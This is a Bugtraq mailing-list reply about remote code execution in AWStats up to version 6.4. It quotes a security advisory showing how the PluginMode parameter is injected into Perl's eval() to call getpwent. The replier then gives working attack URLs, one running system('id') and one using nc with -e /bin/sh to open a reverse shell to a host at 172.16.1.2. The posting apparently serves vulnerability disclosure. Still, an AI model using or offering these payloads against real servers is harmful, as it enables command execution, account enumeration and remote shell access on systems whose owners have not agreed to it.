Bugtraq: Re: AWStats <= 6.4 Multiple vulnerabilities

[Ondra Holecek <bln () deprese net>]

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GHC () www securityfocus com wrote:
|
| /*==========================================*/
| // GHC -> AWStats <- ADVISORY
| \\ PRODUCT: AWStats
| // VERSION: <= 6.3
| \\ URL: http://awstats.sourceforge.net/
| // VULNERABILITY CLASS: Multiple vulnerabilities
| \\ RISK: high
| /*==========================================*/

[...]

|
| PluginMode=:print+getpwent
|
| And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
| This will satisfy eval() requirements., and :print getpwent() is executed.
|
|
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
|
| Sanitazing limits user's input, but there is no filtration for call
sympols '()'.

no, user is not limited, he can execute ANY command if he add ; at the
end of the command, try this

awstats.pl?&PluginMode=:print+system('id')+;

or even this

awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;


Ondra
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